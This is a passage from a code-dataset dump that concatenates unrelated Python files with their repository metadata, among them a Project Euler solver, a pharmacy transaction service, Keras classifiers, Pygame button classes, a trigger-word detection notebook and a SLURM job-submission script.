tweets_augment, labels_augment\n\n\n","repo_name":"shaoncsecu/JAK-OffensEval","sub_path":"Ataur/Task_A_EN_Optimized/Balance_Data.py","file_name":"Balance_Data.py","file_ext":"py","file_size_in_byte":6486,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"1729404464","text":"#Desafio 24#\ntotalnumeros = 10\nsequencia = []\nfor i in range(0, totalnumeros):\n sequencia.append(i)\nsoma = 0\nfatorial = []\nfatorial.append(1)\nfor i in range(0, totalnumeros):\n fatorial.append(fatorial[i]*(i+1))\nvalor = []\nfor i in range(1, fatorial[totalnumeros]+1):\n encontrado = 0\n for j in range(0, totalnumeros):\n if i % fatorial[totalnumeros-j] == 0 and encontrado == 0:\n valor.append(j-1)\n encontrado = 1\nseqgravada = []\nfor i in range(0, fatorial[totalnumeros]):\n seqgravada.append([j for j in sequencia])\n v1 = sequencia[valor[i]]\n v2 = sequencia[valor[i]+1]\n sequencia[valor[i]] = v2\n sequencia[valor[i]+1] = v1\n if valor[i] < totalnumeros - 3:\n for j in range(0, int((totalnumeros-(valor[i]+2))/2)):\n v1 = sequencia[valor[i]+2+2*j]\n v2 = sequencia[valor[i]+3+2*j]\n sequencia[valor[i]+2+2*j] = v2\n sequencia[valor[i]+3+2*j] = v1\nseqgravada.sort()\nresultado = []\nfor i in seqgravada[999999]:\n resultado.append(str(i))\nresultado = ''.join(resultado)\nprint(int(resultado))\n\n#Resultado 2783915460\n","repo_name":"FlavitoAdr/Python","sub_path":"ProjectEuler24.py","file_name":"ProjectEuler24.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41986031873","text":"from copy import deepcopy\n\nfrom Domain.add_operation import AddOperation\nfrom Domain.delete_operation import DeleteOperation\nfrom Domain.tranzactie import Tranzactie\nfrom Domain.tranzactie_validator import TranzactieValidator\nfrom Domain.update_operation import UpdateOperation\n\nfrom Repository.repository import FileRepository\nfrom Service.undo_redo_service import UndoRedoService\n\n\nclass TranzactieService:\n def __init__(self, tranzactie_validator: TranzactieValidator, tranzactie_repository: FileRepository,\n medicament_repository: FileRepository, card_client_repository: FileRepository, undo_redo_service: UndoRedoService):\n self.__tranzactie_validator = tranzactie_validator\n self.__tranzactie_repository = tranzactie_repository\n self.__medicament_repository = medicament_repository\n self.__card_client_repository = card_client_repository\n self.__undo_redo_service = undo_redo_service\n\n\n\n def get_all(self):\n '''\n Returneaza o lista cu toate tranzactiile\n\n :return:\n '''\n return deepcopy(self.__tranzactie_repository.get_all())\n\n def create(self, id_tranzactie, id_medicament, id_card_client, nr_bucati, data):\n '''\n Creaza o tranzactie\n\n :param id_tranzactie: id-ul tranzactiei\n :param id_medicament: id-ul medicamentului\n :param id_card_client: id-ul cardului\n :param nr_bucati: numarul de bucati, int\n :param data: data in format datetime\n :return:\n '''\n tranzactie = Tranzactie(id_tranzactie, id_medicament, id_card_client, nr_bucati, data)\n if tranzactie.id_card_client != '':\n if self.__card_client_repository.find_by_id(tranzactie.id_card_client) is None:\n raise ValueError('Id-ul cardului nu exista!')\n if self.__medicament_repository.find_by_id(tranzactie.id_medicament) is None:\n raise ValueError('Id-ul medicamentului nu exista!')\n self.__tranzactie_validator.validate(tranzactie)\n\n self.__tranzactie_repository.create(tranzactie)\n self.__undo_redo_service.add_to_undo(AddOperation(self.__tranzactie_repository, tranzactie))\n self.__undo_redo_service.clear_redo()\n\n def update(self, id_tranzactie, id_medicament, id_card_client, nr_bucati, data):\n '''\n Modifica o tranzactie\n\n :param id_tranzactie: id-ul tranzactiei\n :param id_medicament: id-ul medicamentului\n :param id_card_client: id-ul cardului\n :param nr_bucati: numarul de bucati, int\n :param data: data in format datetime\n :return:\n '''\n tranzactie1 = self.__tranzactie_repository.find_by_id(id_tranzactie)\n tranzactie2 = self.__tranzactie_repository.find_by_id(id_tranzactie)\n if id_medicament != '':\n tranzactie2.id_medicament = id_medicament\n if id_card_client != '':\n tranzactie2.id_card_client = id_card_client\n if nr_bucati != '':\n tranzactie2.nr_bucati = nr_bucati\n\n tranzactie2.data = data\n self.__tranzactie_validator.validate(tranzactie2)\n self.__tranzactie_repository.update(tranzactie2)\n self.__undo_redo_service.add_to_undo(UpdateOperation(self.__tranzactie_repository, tranzactie1, tranzactie2))\n self.__undo_redo_service.clear_redo()\n\n def delete(self, id_tranzactie):\n '''\n Sterge o tranzactie\n\n :param id_tranzactie: id-ul tranzactiei\n :return:\n '''\n tranzactie = self.__tranzactie_repository.find_by_id(id_tranzactie)\n self.__tranzactie_repository.delete(id_tranzactie)\n self.__undo_redo_service.add_to_undo(DeleteOperation(self.__tranzactie_repository, tranzactie))\n self.__undo_redo_service.clear_redo()\n\n def find_by_id(self, id_tranzactie):\n '''\n Gaseste dupa un id o tranzactie\n :param id_tranzactie: id-ul tranzactiei\n :return: obiectul gasit sau None\n '''\n return self.__tranzactie_repository.find_by_id(id_tranzactie)\n\n def get_pret(self, tranzactie):\n '''\n Calculeaza pretul tranzactiei\n\n :param tranzactie: tranzactia\n :return: o lista care contine:\n primul element = pretul\n al 2 lea elemenet = True daca s-a acordat prima reducere\n al 3 lea element = True daca s-a acordat a 2 a reducere\n '''\n medicament = self.__medicament_repository.find_by_id(tranzactie.id_medicament)\n card_client = self.__card_client_repository.find_by_id(tranzactie.id_card_client)\n if medicament is not None:\n pret = float(tranzactie.nr_bucati) * float(medicament.pret)\n r1 = False\n r2 = False\n if card_client is not None:\n if medicament.necesita_reteta == 'da':\n pret = pret - 15 * pret / 100\n r1 = True\n elif medicament.necesita_reteta == 'nu':\n pret = pret - 10 * pret / 100\n r2 = True\n return [pret, r1, r2]\n return [None, None, None]","repo_name":"oanaa7/Pharmacy-Simulation-Python","sub_path":"Service/tranzactie_service.py","file_name":"tranzactie_service.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13045881988","text":"from keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn.cross_validation import cross_val_score\nimport numpy\n\ndef create_model():\n model = Sequential()\n model.add(Dense(12, input_dim=8, init='uniform', activation='relu'))\n model.add(Dense(8, init='uniform', activation='relu'))\n model.add(Dense(1, init='uniform', activation='sigmoid'))\n\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\nnumpy.random.seed(10)\n\ndataset = numpy.loadtxt('pima-indians-diabetes.csv', delimiter=',')\nX = dataset[:, 0:8]\nY = dataset[:, 8]\n\nmodel = KerasClassifier(build_fn=create_model, nb_epoch=100, batch_size=10, verbose=0)\nkfold = StratifiedKFold(y=Y, n_folds=10, shuffle=True, random_state=10)\nscores = cross_val_score(model, X, Y, cv=kfold)\nprint(scores.mean())\n\n","repo_name":"ismailej/keras-deep-learning","sub_path":"diabetes/predict_diabetes_kerasClassifier.py","file_name":"predict_diabetes_kerasClassifier.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72968879771","text":"import time\nimport pygame\nfrom typing import Union\nfrom pygame.color import Color\nfrom abc import abstractmethod\nfrom pygame.math import Vector2\nfrom src.app.gui.bars import ProgressBar\nfrom src.app.utils.enums import Orientation\nfrom src.app.utils.image_loader import ImageLoader\nfrom src.app.controllers.input_controller import MouseInput\nfrom src.app.gui.common import MenuElement, AnimatedMenuElement\n\n\nclass Button(MenuElement):\n def __init__(self, game):\n self.game = game\n\n @property\n def checked(self):\n return self.game.blade.collides(self)\n\n @property\n @abstractmethod\n def rect(self):\n pass\n\n @property\n @abstractmethod\n def width(self):\n pass\n\n @property\n @abstractmethod\n def height(self):\n pass\n\n\nclass TimedButton(Button):\n PROGRESS_BAR_WIDTH_RATIO = .95\n PROGRESS_BAR_HEIGHT_RATIO = .1\n\n def __init__(self,\n game,\n image_path: str,\n position: Vector2,\n progress_bar_color: Color,\n hover_duration: Union[int, float] = 2,\n hover_stop_tolerance: Union[int, float] = .25,\n width: Union[int, float] = -1,\n height: Union[int, float] = -1):\n Button.__init__(self, game)\n self.image = ImageLoader.load_png(image_path, width, height)\n self.hover_duration = hover_duration\n self.hover_stop_tolerance = hover_stop_tolerance\n self.position = position\n self.hover_start_time = float('inf')\n self.hover_stop_time = float('inf')\n self.is_hovering = False\n\n self.progress_bar = ProgressBar(\n self.PROGRESS_BAR_WIDTH_RATIO * width,\n max(self.PROGRESS_BAR_HEIGHT_RATIO * height, 1),\n Orientation.HORIZONTAL,\n position + Vector2(((1 - self.PROGRESS_BAR_WIDTH_RATIO) * self.width) / 2, .1 * self.height),\n progress_bar_color\n )\n\n @property\n def checked(self):\n # Do not apply timeout while using the MouseInput controller\n if isinstance(self.game.blade.input_source, MouseInput):\n return self.game.blade.collides(self)\n\n curr_time = time.time()\n if not self.game.blade.collides(self):\n if curr_time - self.hover_stop_time > self.hover_stop_tolerance:\n self.reset()\n elif self.hover_stop_time == float('inf'):\n self.hover_stop_time = curr_time\n return False\n\n self.hover_stop_time = float('inf')\n if not self.is_hovering:\n self.is_hovering = True\n self.hover_start_time = curr_time\n\n return curr_time - self.hover_start_time >= self.hover_duration\n\n @property\n def rect(self):\n return self.image.get_rect(topleft=self.position + Vector2(self.height / 2, self.height / 2))\n\n @property\n def width(self):\n return self.image.get_width()\n\n @property\n def height(self):\n return self.image.get_height()\n\n def blit(self, surface):\n surface.blit(self.image, self.position)\n\n if self.is_hovering:\n progress = min(max((time.time() - self.hover_start_time) / self.hover_duration, 0), 1)\n self.progress_bar.update(progress)\n self.progress_bar.blit(surface)\n\n def reset(self):\n self.is_hovering = False\n self.hover_start_time = float('inf')\n self.hover_stop_time = float('inf')\n\n\nclass FruitButton(Button, AnimatedMenuElement):\n def __init__(self,\n blade,\n inner_image_path: str,\n outer_image_path: str,\n position: Vector2,\n size: Union[int, float] = -1,\n inner_rotation_speed: Union[int, float] = .2,\n outer_rotation_speed: Union[int, float] = -.05,\n inner_initial_angle: Union[int, float] = 0,\n outer_initial_angle: Union[int, float] = 0):\n Button.__init__(self, blade)\n self.original_inner_image = ImageLoader.load_png(inner_image_path, size * .35)\n self.original_outer_image = ImageLoader.load_png(outer_image_path, size)\n self.inner_image = self.original_inner_image\n self.outer_image = self.original_outer_image\n self.inner_current_angle = inner_initial_angle\n self.outer_current_angle = outer_initial_angle\n self.inner_rotation_speed = inner_rotation_speed\n self.outer_rotation_speed = outer_rotation_speed\n self.position = position\n self.scale = 1\n self.alpha = 255\n\n @property\n def rect(self):\n return self.outer_image.get_rect(center=self.position)\n\n @property\n def width(self):\n return self.outer_image.get_width()\n\n @property\n def height(self):\n return self.outer_image.get_height()\n\n def animate(self):\n # Rotate the inner image\n self.inner_image, self.inner_current_angle = self.rotate(\n self.original_inner_image, self.inner_current_angle, self.inner_rotation_speed\n )\n # Rotate the outer image\n self.outer_image, self.outer_current_angle = self.rotate(\n self.original_outer_image, self.outer_current_angle, self.outer_rotation_speed\n )\n\n @staticmethod\n def rotate(image, curr_angle, rotation_speed):\n new_angle = (curr_angle + rotation_speed) % 360\n return pygame.transform.rotate(image, new_angle), new_angle\n\n def blit(self, surface):\n inner_image_scale = (self.scale * self.inner_image.get_width(), self.scale * self.inner_image.get_height())\n outer_image_scale = (self.scale * self.width, self.scale * self.height)\n inner_image = pygame.transform.scale(self.inner_image, inner_image_scale)\n outer_image = pygame.transform.scale(self.outer_image, outer_image_scale)\n inner_image.set_alpha(self.alpha)\n outer_image.set_alpha(self.alpha)\n self._blit_centered(inner_image, surface)\n self._blit_centered(outer_image, surface)\n\n def _blit_centered(self, image, surface):\n surface.blit(image, self.position - Vector2(image.get_width() / 2, image.get_height() / 2))\n","repo_name":"kacperklusek/Fruit_Ninja_OpenCV","sub_path":"src/app/gui/buttons.py","file_name":"buttons.py","file_ext":"py","file_size_in_byte":6182,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"28490062469","text":"# ## Trigger Word Detection\n\nimport numpy as np\nfrom pydub import AudioSegment\nimport random\nimport sys\nimport io\nimport os\nimport glob\nimport IPython\nfrom td_utils import *\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# ## 1 - Data synthesis: Creating a Speech Dataset\nIPython.display.Audio(\"./raw_data/activates/1.wav\")\nIPython.display.Audio(\"./raw_data/negatives/4.wav\")\nIPython.display.Audio(\"./raw_data/backgrounds/1.wav\")\n\n\n# ### 1.2 - From Audio Recordings to Spectrograms\n# Let's look at an example.\nIPython.display.Audio(\"audio_examples/example_train.wav\")\nx = graph_spectrogram(\"audio_examples/example_train.wav\")\n\n\n_, data = wavfile.read(\"audio_examples/example_train.wav\")\nprint(\"Time steps in audio recording before spectrogram\", data[:,0].shape)\nprint(\"Time steps in input after spectrogram\", x.shape)\n\n\n# Now, you can define:\nTx = 5511 # The number of time steps input to the model from the spectrogram\nn_freq = 101 # Number of frequencies input to the model at each time step of the spectrogram\n\n\n# #### Dividing into time-intervals\nTy = 1375 # The number of time steps in the output of our model\n\n\n# ### 1.3 - Generating a Single Training Example\n\n# Load audio segments using pydub \nactivates, negatives, backgrounds = load_raw_audio('./raw_data/')\n\nprint(\"background len should be 10,000, since it is a 10 sec clip\\n\" + str(len(backgrounds[0])),\"\\n\")\nprint(\"activate[0] len may be around 1000, since an `activate` audio clip is usually around 1 second (but varies a lot) \\n\" + str(len(activates[0])),\"\\n\")\nprint(\"activate[1] len: different `activate` clips can have different lengths\\n\" + str(len(activates[1])),\"\\n\")\nprint(\"activate[4] len: different `activate` clips can have different lengths\\n\" + str(len(activates[4])),\"\\n\")\n\n\n# #### Overlaying positive/negative 'word' audio clips on top of the background audio\n\ndef get_random_time_segment(segment_ms):\n \"\"\"\n Gets a random time segment of duration segment_ms in a 10,000 ms audio clip.\n \n Arguments:\n segment_ms -- the duration of the audio clip in ms (\"ms\" stands for \"milliseconds\")\n \n Returns:\n segment_time -- a tuple of (segment_start, segment_end) in ms\n \"\"\"\n \n segment_start = np.random.randint(low=0, high=10000-segment_ms) # Make sure segment doesn't run past the 10sec background \n segment_end = segment_start + segment_ms - 1\n \n return (segment_start, segment_end)\n\n\n# #### Check if audio clips are overlapping\n# ### Exercise 1 - is_overlapping\ndef is_overlapping(segment_time, previous_segments):\n \"\"\"\n Checks if the time of a segment overlaps with the times of existing segments.\n \n Arguments:\n segment_time -- a tuple of (segment_start, segment_end) for the new segment\n previous_segments -- a list of tuples of (segment_start, segment_end) for the existing segments\n \n Returns:\n True if the time segment overlaps with any of the existing segments, False otherwise\n \"\"\"\n \n segment_start, segment_end = segment_time\n \n # Step 1: Initialize overlap as a \"False\" flag.\n overlap = False\n \n # Step 2: loop over the previous_segments start and end times.\n # Compare start/end times and set the flag to True if there is an overlap\n for previous_start, previous_end in previous_segments:\n if segment_start <= previous_end and segment_end >= previous_start:\n overlap = True\n break\n\n return overlap\n\n\n\noverlap1 = is_overlapping((950, 1430), [(2000, 2550), (260, 949)])\noverlap2 = is_overlapping((2300, 2950), [(824, 1532), (1900, 2305), (3424, 3656)])\nprint(\"Overlap 1 = \", overlap1)\nprint(\"Overlap 2 = \", overlap2)\n\n\n# #### Insert audio clip\n# ### Exercise 2 - insert_audio_clip\n# GRADED FUNCTION: insert_audio_clip\n\ndef insert_audio_clip(background, audio_clip, previous_segments):\n \"\"\"\n Insert a new audio segment over the background noise at a random time step, ensuring that the \n audio segment does not overlap with existing segments.\n \n Arguments:\n background -- a 10 second background audio recording. \n audio_clip -- the audio clip to be inserted/overlaid. \n previous_segments -- times where audio segments have already been placed\n \n Returns:\n new_background -- the updated background audio\n \"\"\"\n \n # Get the duration of the audio clip in ms\n segment_ms = len(audio_clip)\n \n # Step 1: Use one of the helper functions to pick a random time segment onto which to insert\n # the new audio clip.\n segment_time = get_random_time_segment(segment_ms)\n \n # Step 2: Check if the new segment_time overlaps with one of the previous_segments. If so, keep \n # picking new segment_time at random until it doesn't overlap. To avoid an endless loop we retry 5 times.\n retry = 5 \n while is_overlapping(segment_time, previous_segments) == True and retry >= 0:\n segment_time = get_random_time_segment(segment_ms)\n retry = retry - 1\n #print(segment_time)\n \n # if last try is not overlaping, insert it to the background\n if not is_overlapping(segment_time, previous_segments):\n # Step 3: Append the new segment_time to the list of previous_segments\n previous_segments.append(segment_time)\n # Step 4: Superpose audio segment and background\n new_background = background.overlay(audio_clip, position = segment_time[0])\n else:\n #print(\"Timeouted\")\n new_background = background\n segment_time = (10000, 10000)\n \n return new_background, segment_time\n\n\nnp.random.seed(5)\naudio_clip, segment_time = insert_audio_clip(backgrounds[0], activates[0], [(3790, 4400)])\naudio_clip.export(\"insert_test.wav\", format=\"wav\")\nprint(\"Segment Time: \", segment_time)\nIPython.display.Audio(\"insert_test.wav\")\n\n\n# Expected audio\nIPython.display.Audio(\"audio_examples/insert_reference.wav\")\n\n\n# #### Insert ones for the labels of the positive target\n# ### Exercise 3 - insert_ones\n# GRADED FUNCTION: insert_ones\n\ndef insert_ones(y, segment_end_ms):\n \"\"\"\n Update the label vector y. The labels of the 50 output steps strictly after the end of the segment \n should be set to 1. By strictly we mean that the label of segment_end_y should be 0 while, the\n 50 following labels should be ones.\n \n \n Arguments:\n y -- numpy array of shape (1, Ty), the labels of the training example\n segment_end_ms -- the end time of the segment in ms\n \n Returns:\n y -- updated labels\n \"\"\"\n _, Ty = y.shape\n \n # duration of the background (in terms of spectrogram time-steps)\n segment_end_y = int(segment_end_ms * Ty / 10000.0)\n \n if segment_end_y < Ty:\n # Add 1 to the correct index in the background label (y)\n for i in range(segment_end_y+1, segment_end_y+51):\n if i < Ty:\n y[0, i] = 1\n \n return y\n\n\narr1 = insert_ones(np.zeros((1, Ty)), 9700)\nplt.plot(insert_ones(arr1, 4251)[0,:])\nprint(\"sanity checks:\", arr1[0][1333], arr1[0][634], arr1[0][635])\n\n\n# #### Creating a training example\n# Finally, you can use `insert_audio_clip` and `insert_ones` to create a new training example.\n# ### Exercise 4 - create_training_example\n\n# GRADED FUNCTION: create_training_example\n\ndef create_training_example(background, activates, negatives, Ty):\n \"\"\"\n Creates a training example with a given background, activates, and negatives.\n \n Arguments:\n background -- a 10 second background audio recording\n activates -- a list of audio segments of the word \"activate\"\n negatives -- a list of audio segments of random words that are not \"activate\"\n Ty -- The number of time steps in the output\n\n Returns:\n x -- the spectrogram of the training example\n y -- the label at each time step of the spectrogram\n \"\"\"\n \n # Make background quieter\n background = background - 20\n\n # Step 1: Initialize y (label vector) of zeros.\n y = np.zeros((1, Ty))\n\n # Step 2: Initialize segment times as empty list.\n previous_segments = []\n \n # Select 0-4 random \"activate\" audio clips from the entire list of \"activates\" recordings\n number_of_activates = np.random.randint(0, 5)\n random_indices = np.random.randint(len(activates), size=number_of_activates)\n random_activates = [activates[i] for i in random_indices]\n \n # Step 3: Loop over randomly selected \"activate\" clips and insert in background\n for random_activate in random_activates:\n # Insert the audio clip on the background\n background, segment_time = insert_audio_clip(background, random_activate, previous_segments)\n # Retrieve segment_start and segment_end from segment_time\n segment_start, segment_end = segment_time\n # Insert labels in \"y\" at segment_end\n y = insert_ones(y, segment_end)\n\n # Select 0-2 random negatives audio recordings from the entire list of \"negatives\" recordings\n number_of_negatives = np.random.randint(0, 3)\n random_indices = np.random.randint(len(negatives), size=number_of_negatives)\n random_negatives = [negatives[i] for i in random_indices]\n\n # Step 4: Loop over randomly selected negative clips and insert in background\n for random_negative in random_negatives:\n # Insert the audio clip on the background \n background, _ = insert_audio_clip(background, random_negative, previous_segments)\n \n # Standardize the volume of the audio clip \n background = match_target_amplitude(background, -20.0)\n\n # Export new training example \n file_handle = background.export(\"train\" + \".wav\", format=\"wav\")\n \n # Get and plot spectrogram of the new recording (background with superposition of positive and negatives)\n x = graph_spectrogram(\"train.wav\")\n \n return x, y\n\n\n# Set the random seed\nnp.random.seed(18)\nx, y = create_training_example(backgrounds[0], activates, negatives, Ty)\n\n\n# Now you can listen to the training example you created and compare it to the spectrogram generated above.\nIPython.display.Audio(\"train.wav\")\nIPython.display.Audio(\"audio_examples/train_reference.wav\")\n\n\n# Finally, you can plot the associated labels for the generated training example.\nplt.plot(y[0])\n\n\n# ### 1.4 - Full Training Set\nnp.random.seed(4543)\nnsamples = 32\nX = []\nY = []\nfor i in range(0, nsamples):\n if i%10 == 0:\n print(i)\n x, y = create_training_example(backgrounds[i % 2], activates, negatives, Ty)\n X.append(x.swapaxes(0,1))\n Y.append(y.swapaxes(0,1))\nX = np.array(X)\nY = np.array(Y)\n\n# You would like to save your dataset into a file that you can load later if you work in a more realistic environment.\n# We let you the following code for reference. Don't try to run it into Coursera since the file system is read-only,\n# and you cannot save files.\n\n# ### 1.5 - Development Set\n# \n# * To test our model, we recorded a development set of 25 examples. \n# * While our training data is synthesized, we want to create a development set using the same distribution as the real inputs. \n# * Thus, we recorded 25 10-second audio clips of people saying \"activate\" and other random words, and labeled them by hand. \n# * This follows the principle described in Course 3 \"Structuring Machine Learning Projects\" that we should create the dev set to be as similar as possible to the test set distribution\n# * This is why our **dev set uses real audio** rather than synthesized audio. \n\n# Load preprocessed dev set examples\nX_dev = np.load(\"./XY_dev/X_dev.npy\")\nY_dev = np.load(\"./XY_dev/Y_dev.npy\")\n\n\n# ## 2 - The Model\n\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nfrom tensorflow.keras.models import Model, load_model, Sequential\nfrom tensorflow.keras.layers import Dense, Activation, Dropout, Input, Masking, TimeDistributed, LSTM, Conv1D\nfrom tensorflow.keras.layers import GRU, Bidirectional, BatchNormalization, Reshape\nfrom tensorflow.keras.optimizers import Adam\n\n\n# ### 2.1 - Build the Model\n# GRADED FUNCTION: modelf\n\ndef modelf(input_shape):\n \"\"\"\n Function creating the model's graph in Keras.\n \n Argument:\n input_shape -- shape of the model's input data (using Keras conventions)\n\n Returns:\n model -- Keras model instance\n \"\"\"\n \n X_input = Input(shape = input_shape)\n \n # Step 1: CONV layer.\n # Add a Conv1D with 196 units, kernel size of 15 and stride of 4\n X = Conv1D(\n filters=196,\n kernel_size=15,\n strides=4,\n padding=\"valid\"\n )(X_input)\n # Batch normalization\n X = BatchNormalization()(X)\n # ReLu activation\n X = Activation(\"relu\")(X)\n # dropout (use 0.8)\n X = Dropout(rate=0.8)(X) \n\n # Step 2: First GRU Layer.\n # GRU (use 128 units and return the sequences)\n X = GRU(\n units=128,\n activation=\"tanh\",\n recurrent_activation=\"sigmoid\",\n use_bias=True,\n kernel_initializer=\"glorot_uniform\",\n recurrent_initializer=\"orthogonal\",\n bias_initializer=\"zeros\",\n dropout=0.0,\n recurrent_dropout=0.0,\n return_sequences=True\n )(X)\n # dropout (use 0.8)\n X = Dropout(rate=0.8)(X) \n # Batch normalization.\n X = BatchNormalization()(X) \n \n # Step 3: Second GRU Layer.\n # GRU (use 128 units and return the sequences)\n X = GRU(\n units=128,\n activation=\"tanh\",\n recurrent_activation=\"sigmoid\",\n use_bias=True,\n kernel_initializer=\"glorot_uniform\",\n recurrent_initializer=\"orthogonal\",\n bias_initializer=\"zeros\",\n dropout=0.0,\n recurrent_dropout=0.0,\n return_sequences=True\n )(X)\n # dropout (use 0.8)\n X = Dropout(rate=0.8)(X) \n # Batch normalization\n X = BatchNormalization()(X)\n # dropout (use 0.8)\n X = Dropout(rate=0.8)(X) \n \n # Step 4: Time-distributed dense layer (≈1 line)\n # TimeDistributed with sigmoid activation \n X = TimeDistributed(layer = Dense(\n units=1,\n activation=\"sigmoid\"\n ))(X)\n \n model = Model(inputs = X_input, outputs = X)\n \n return model \n\n\nmodel = modelf(input_shape = (Tx, n_freq))\n\n# Let's print the model summary to keep track of the shapes.\nmodel.summary()\n\n\n# ### 2.2 - Fit the Model\nfrom tensorflow.keras.models import model_from_json\n\njson_file = open('./models/model.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nmodel = model_from_json(loaded_model_json)\nmodel.load_weights('./models/model.h5')\n\n# #### 2.2.1 Block Training for BatchNormalization Layers\n\nmodel.layers[2].trainable = False\nmodel.layers[7].trainable = False\nmodel.layers[10].trainable = False\n\n\n# You can train the model further, using the Adam optimizer and binary cross entropy loss, as follows.\n# This will run quickly because we are training just for two epochs and with a small training set of 32 examples.\n\nopt = Adam(lr=1e-6, beta_1=0.9, beta_2=0.999)\nmodel.compile(loss='binary_crossentropy', optimizer=opt, metrics=[\"accuracy\"])\n\nmodel.fit(X, Y, batch_size = 16, epochs=5)\n\n\n# ### 2.3 - Test the Model\nloss, acc, = model.evaluate(X_dev, Y_dev)\nprint(\"Dev set accuracy = \", acc)\n\n\n# ## 3 - Making Predictions\ndef detect_triggerword(filename):\n plt.subplot(2, 1, 1)\n \n # Correct the amplitude of the input file before prediction \n audio_clip = AudioSegment.from_wav(filename)\n audio_clip = match_target_amplitude(audio_clip, -20.0)\n file_handle = audio_clip.export(\"tmp.wav\", format=\"wav\")\n filename = \"tmp.wav\"\n\n x = graph_spectrogram(filename)\n # the spectrogram outputs (freqs, Tx) and we want (Tx, freqs) to input into the model\n x = x.swapaxes(0,1)\n x = np.expand_dims(x, axis=0)\n predictions = model.predict(x)\n \n plt.subplot(2, 1, 2)\n plt.plot(predictions[0,:,0])\n plt.ylabel('probability')\n plt.show()\n return predictions\n\n\nchime_file = \"audio_examples/chime.wav\"\ndef chime_on_activate(filename, predictions, threshold):\n audio_clip = AudioSegment.from_wav(filename)\n chime = AudioSegment.from_wav(chime_file)\n Ty = predictions.shape[1]\n # Step 1: Initialize the number of consecutive output steps to 0\n consecutive_timesteps = 0\n # Step 2: Loop over the output steps in the y\n for i in range(Ty):\n # Step 3: Increment consecutive output steps\n consecutive_timesteps += 1\n # Step 4: If prediction is higher than the threshold and more than 20 consecutive output steps have passed\n if consecutive_timesteps > 20:\n # Step 5: Superpose audio and background using pydub\n audio_clip = audio_clip.overlay(chime, position = ((i / Ty) * audio_clip.duration_seconds) * 1000)\n # Step 6: Reset consecutive output steps to 0\n consecutive_timesteps = 0\n # if amplitude is smaller than the threshold reset the consecutive_timesteps counter\n if predictions[0, i, 0] < threshold:\n consecutive_timesteps = 0\n \n audio_clip.export(\"chime_output.wav\", format='wav')\n\n\n# ### 3.1 - Test on Dev Examples\nIPython.display.Audio(\"./raw_data/dev/1.wav\")\nIPython.display.Audio(\"./raw_data/dev/2.wav\")\n\n\n# Now lets run the model on these audio clips and see if it adds a chime after \"activate\"!\nfilename = \"./raw_data/dev/1.wav\"\nprediction = detect_triggerword(filename)\nchime_on_activate(filename, prediction, 0.5)\nIPython.display.Audio(\"./chime_output.wav\")\n\nfilename = \"./raw_data/dev/2.wav\"\nprediction = detect_triggerword(filename)\nchime_on_activate(filename, prediction, 0.5)\nIPython.display.Audio(\"./chime_output.wav\")\n\n\n# ## 4 - Try Your Own Example! (OPTIONAL/UNGRADED)\n# Preprocess the audio to the correct format\ndef preprocess_audio(filename):\n # Trim or pad audio segment to 10000ms\n padding = AudioSegment.silent(duration=10000)\n segment = AudioSegment.from_wav(filename)[:10000]\n segment = padding.overlay(segment)\n # Set frame rate to 44100\n segment = segment.set_frame_rate(44100)\n # Export as wav\n segment.export(filename, format='wav')\n\n\n# Once you've uploaded your audio file to Coursera, put the path to your file in the variable below.\nyour_filename = \"audio_examples/my_audio.wav\"\n\npreprocess_audio(your_filename)\nIPython.display.Audio(your_filename) # listen to the audio you uploaded \n\n\n# Finally, use the model to predict when you say activate in the 10 second audio clip, and trigger a chime.\n# If beeps are not being added appropriately, try to adjust the chime_threshold.\n\nchime_threshold = 0.5\nprediction = detect_triggerword(your_filename)\nchime_on_activate(your_filename, prediction, chime_threshold)\nIPython.display.Audio(\"./chime_output.wav\")\n","repo_name":"Tiago-B-C-Reis/Machine_Learning_repos","sub_path":"Deep_Learning_Specialization/Course_5/Week_3/W3A2/Trigger_word_detection_v2a.py","file_name":"Trigger_word_detection_v2a.py","file_ext":"py","file_size_in_byte":18600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31084166475","text":"\"\"\"Script for making persistence homology jobs and submitting them to SLURM Batch\n\"\"\"\nimport pathlib\nimport sys\nimport os\nimport argparse\nimport glob\n\nroot = '/work/yl708/pdbbind/refined-set/'\npdb_files = glob.glob(root + '*/*.pdb')\n\nfor pdb_file in pdb_files:\n working_directory = pdb_file[:pdb_file.rfind('/') + 1]\n pdb_name = pdb_file[pdb_file.rfind('/') + 1: pdb_file.rfind('_')]\n protein_name = pdb_name + '_protein'\n ligand_name = pdb_name + '_ligand'\n\n s = \"\"\"#!/bin/bash\n#SBATCH --partition=scavenger\n#SBATCH --time='1:00:00'\n#SBATCH --requeue\n#SBATCH --chdir='/work/yl708/algebraic-topology-biomolecules'\n#SBATCH --output=/work/yl708/algebraic-topology-biomolecules/slurm-outs/%x-%j-slurm.out\n#SBATCH --mem=4G\n\nsource ~/.bashrc\nsource ~/.bash_profile\ndate\nhostname\nconda activate /work/yl708/algebraic-topology-biomolecules/algtop-environment\ncd /work/yl708/algebraic-topology-biomolecules\n\nmodule load R/4.1.1-rhel8\nmodule load Matlab\n\n\"\"\"\n s += '\\n/work/yl708/algebraic-topology-biomolecules/algtop-environment/bin/python homology.py ' + '--working_dir ' + working_directory + ' --protein_name ' + protein_name + ' --ligand_name ' + ligand_name + '\\n'\n\n filename = pdb_name + '_homology.sh'\n\n with open(filename, 'w') as script:\n script.write(s)\n\n os.system('sbatch ' + filename)\n os.system('rm ' + 